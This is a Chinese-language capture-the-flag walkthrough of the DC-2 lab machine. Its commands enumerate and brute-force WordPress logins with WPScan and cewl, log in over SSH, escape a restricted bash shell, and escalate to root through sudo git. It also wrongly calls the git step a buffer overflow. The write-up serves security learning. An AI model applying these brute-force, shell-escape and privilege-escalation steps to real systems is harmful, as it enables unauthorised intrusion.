这个靶机和DC-1一样,一共5个flag。全部拿到通关。
root@kali:/home/kali# nmap -sP 192.168.1.*
先扫一下靶机的IP地址,拿到靶机的地址为192.168.1.3。
再详细的对靶机进行扫描,尽可能多的获取靶机的信息。信息收集对于渗透测试非常重要,能否挖到漏洞往往取决于目标信息是否尽可能多的被收集。
root@kali:/home/kali# nmap -sS -Pn -A -p- -n 192.168.1.9
//-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
//-Pn:跳过主机发现,视所有主机都在线
//-A:使用系统探测、版本检测、脚本扫描、路由追踪
这里被坑了一下,在拿到端口的时候却无法访问,看WP才知道是域名解析的问题,在访问IP地址时会自动跳转到http://dc-2,其实在扫描的时候就有说到dc-2没有被写入,奈何太simple,忽略了。
将192.168.1.9 dc-2写入到hosts文件中,windows下的hosts文件的路径是
c:windowssystem32driversetchosts
从我们扫描的结果来看这个站用的是WordPress,这是一个PHP语言和MySQL开发的博客平台。暴出过不少的漏洞。我们可以利用他的一些漏洞来getshell。
在成功访问目标的80端口的时候我们也拿到了第一个flag。意思大概就是使用一般的字典可能不管用,可能需要用到cewl,字典包含的密码多总是好的,但是不可能包含所有的,登录可以看到下一个flag。
cewl是一个字典生成工具。详情参考 https://www.freebuf.com/articles/network/190128.html
从第一个flag给的提示来看,应该是用cewl生成这个网站的字典然后登陆。
root@kali:/home/kali# cewl -w dc-2-password http://dc-2/
root@kali:/home/kali# cat dc-2-password
生成了字典,但是网站并没有直接给后台的入口,那么我们可以扫这个网站的目录。
这里用到WpSan这款工具,WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,
详情参考 https://www.freebuf.com/sectool/174663.html
root@kali:/home/kali# wpscan --url http://dc-2 --enumerate u
//–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息
获取到的信息:网站的几个目录,WordPress的版本,WordPress采用的主题,三个用户admin,jerry,tom。那么我们可以将拿到的三个用户写入字典当成用户名爆破
root@kali:/home/kali# touch dc-2-username
root@kali:/home/kali# vim dc-2-username //将三个用户名写进去
root@kali:/home/kali# cat dc-2-username
admin
jerry
tom
然后爆破
root@kali:/home/kali# wpscan --url http://dc-2 -U dc-2-username -P dc-2-password
拿到jerry和tom的用户密码:adipiscing和parturient
但是我们并没有拿到网站的后台路径,常规思路扫后台。这里用dirb工具
root@kali:/home/kali# dirb http://dc-2
拿到后台的路径
用得到的两个用户名和密码登录。在jerry的账号里面拿到第二个flag,第二的flag的意思是如果你无法找到利用WordPress的捷径,还有另外一种方法,希望你能找到另一种方法。
做到这好像思路就断了,flag2没给什么有用的提示呀。在nmao扫描的时候还有一个点没用上,开放了7744端口ssh。我们用ssh连接DC-2主机试下。jerry账号连接显示权限限制,tom账号可以连接上。
root@kali:/home/kali# ssh tom@192.168.1.9 -p 7744
查看当前目录下的文件,拿到flag3.txt,单纯的我一开始以为这个就是flag3的内容,再看一眼这好像是报错信息吧。不懂就谷歌,rbash就是受限制的bash,一般管理员会限制很多命令,显然这里cat命令无法使用。
那查看可用的命令有哪些。
可以使用的命令有less、ls、scp、vi。这里涉及到了rbash逃逸(啥呀,待会去瞅瞅)
使用less绕过:$less test 然后!'sh'
使用ls绕过:$man ls 然后!'sh'
使用vi绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash
还可以用 BASH_CMDS[a]=/bin/sh;a 直接绕过
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a //切换shell
$ export PATH=$PATH:/bin/ //添加$PATH,cat和su都在/bin下
$ export PATH=$PATH:/usr/bin //sudo在/usr/bin下
$ cat flag3.txt
拿到flag3的内容。意思是可怜的Tom总是在追逐jerry,为jerry给他造成的压力他需要切换用户。
这里切换成jerry用户拿到flag4。
$ su jerry //切换用户
Password:
切换到jerry的用户目录拿到flag4。意思到了最后一步我们需要拿到最后的Flag。最后一句提示要用到git。
这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。
jerry@DC-2:~$ sudo git -p help
进入到root目录下,拿到最后的flag。
总结这个靶机涉及到的点:
1、linux下的hosts文件路径
/etc/hosts
2、cewl工具
CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。
cewl http://www.ignitetechnologies.in/ //默认方法
cewl http://www.ignitetechnologies.in/ -w dict.txt //-w
cewl http://www.ignitetechnologies.in/ -m 9 //生成长度至少为9的密码 -m
cewl http://www.ignitetechnologies.in/ -n -e //从网站中获取Email -e
cewl http://www.ignitetechnologies.in/ -c //计算网站字典中重复的单词数量 -c
cewl http://www.ignitetechnologies.in/ -d 3 //增加爬虫的爬取深度以生成更大的字典文件 -d
cewl http://www.ignitetechnologies.in/ --debug //提取调试信息 -debug
3、WPScan工具
转载两篇大佬的文章,写得挺详细的
https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站
https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程
4、linux的环境变量
PATH变量:设定解释器搜索所执行的的命令的路径。
export命令可以吧一般变量转换成全局变量
5、rbash逃逸
https://xz.aliyun.com/t/7642 rbash逃逸大全
6、git提权
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash